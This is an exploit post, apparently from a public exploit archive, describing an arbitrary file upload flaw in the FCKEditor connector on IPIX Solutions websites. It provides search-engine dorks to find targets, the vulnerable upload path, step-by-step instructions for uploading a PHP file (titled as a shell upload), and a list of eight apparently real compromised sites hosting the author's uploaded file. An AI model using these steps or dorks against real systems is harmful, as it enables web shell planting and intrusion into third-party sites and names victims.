IPIX Solutions Shell Upload

`#Exploit Title : IPIX Solutions (FCKEditor) File Upload Vulnerability  
#Author : DevilScreaM  
#Date : 14/09/2013  
#Category : Web Applications   
#Vendor : http://ipixsolutions.com  
  
#Dork   
intext:Powered By Ipix Solutions  
intext:Powered By:IPIX SOLUTIONS  
intext:Website Design @ IPIX Solutions.  
  
#Vulnerability : Arbitrary File Upload Vulnerability  
#Tested On : Windows 7/XP , Ubuntu (Mozila & Chrome)  
#Greetz : Newbie-Security.or.id, Banjarmasin Hacker, Borneo Hacker  
  
  
POC and Exploit  
  
http://site-target/admin/fckeditor/editor/filemanager/connectors/uploadtest.html  
  
===================================================================================  
  
1. At "Select the "File Uploader" to use" Change From ASP to PHP  
  
2. Select Your File  
  
3. Click Send it to Server, and waiting...  
  
4. Result Upload At  
  
http://site-target/userfiles/[YOUR_FILE.txt]  
  
===================================================================================  
  
Example  
  
http://morisonmenonlimited.com/userfiles/devilscream.txt  
http://smdentallab.org/userfiles/devilscream.txt  
http://rklatex.com/userfiles/devilscream.txt  
http://malabarholidays.com/userfiles/devilscream.txt  
http://mimsindia.com/userfiles/devilscream.txt  
http://stjosephstly.com/userfiles/devilscream.txt  
http://memundahss.com/userfiles/devilscream.txt  
http://novadenttly.com/userfiles/devilscream.txt  
`